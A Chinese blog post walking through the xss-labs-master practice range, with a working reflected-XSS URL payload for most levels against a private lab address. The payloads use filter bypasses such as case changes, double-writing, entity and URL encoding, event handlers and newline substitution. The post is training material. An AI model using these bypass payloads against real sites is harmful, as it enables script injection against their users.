实战篇——XSS漏洞xss-labs-master靶场实战

实战篇——XSS漏洞xss-labs-master靶场实战

XSS的分类

(1) 反射型XSS

攻击者通过电子邮件等方式将恶意链接发送给目标用户。当目标用户点击该链接时,服务器接收该目标用户的请求并把带有恶意脚本的页面发送给目标用户的浏览器,浏览器解析页面时就会执行恶意脚本。

(2) 存储型XSS

攻击者将恶意脚本注入到留言板中并保存,恶意脚本被永久地存储在服务器的数据库中 。 当其他用户浏览包含这条恶意留言的页面时,恶意脚本就会在浏览器中得到执行 。

XSS靶场实战

level1:

http://192.168.118.150/xss-labs-master/level1.php?name=<script>alert(1);</script>

level2:

image-20240708221850468

image-20240708221925231

据此判断为双引号闭合。

http://192.168.118.150/xss-labs-master/level2.php?keyword="> <script>alert(1);</script>

level3:

image-20240708222219260

image-20240708222243275

据此判断为单引号闭合或单引号闭合+html实体编码。

image-20240708222413634

据此判断存在html实体编码。

可以使用onmouseover等事件触发,但还需要闭合单引号:

image-20240708222714373

http://192.168.118.150/xss-labs-master/level3.php?keyword=' onmouseover='alert(1);

level4:

http://192.168.118.150/xss-labs-master/level4.php?keyword=" onmouseover="alert(1);

level5:

使用javascript伪协议

http://192.168.118.150/xss-labs-master/level5.php?keyword="> <a href="javascript:alert(1);">click here!</a> <img src="

level6:

大小写绕过

http://192.168.118.150/xss-labs-master/level6.php?keyword="> <SCRIPT>alert(1);</SCRIPT>

level7:

双写绕过

http://192.168.118.150/xss-labs-master/level7.php?keyword="> <sscriptcript>alert(1);</sscriptcript>

level8:

image-20240708224817188

javascript被替换,可以使用html实体编码:

image-20240708225028858

但此时依然无法成功弹框,需要对&和#进行url编码:

image-20240708225151990

点击链接即可弹框:

image-20240708225248514

http://192.168.118.150/xss-labs-master/level8.php?keyword=javascrip%26%23x74:alert(1);

level9:

image-20240708225431789

image-20240708225459788

可见参数必须包含http://。

在上一题的基础上使用注释符//连接http://即可:

image-20240708225646175

http://192.168.118.150/xss-labs-master/level9.php?keyword=javascrip%26%23x74:alert(1);//http://

level10:

http://192.168.118.150/xss-labs-master/level10.php?t_sort=" onmouseover=alert(1); type="text

level11:

利用referer

image-20240708230559484

level12:

利用user-agent

image-20240708230835405

level13:

利用cookie.user,唯一需要注意的是需要删除;,否则将发生截断

image-20240708231240703

level16:

image-20240708232503471

可见script和/都被替换。

可以使用img标签:

image-20240708232702975

可见' '也被替换。

使用回车代替空格:

image-20240708232828079

http://192.168.118.150/xss-labs-master/level16.php?keyword=<img%0asrc=0%0aonerror=alert(1);>
posted @ 2024-07-08 23:30  yaoguyuan  阅读(32)  评论(0编辑  收藏  举报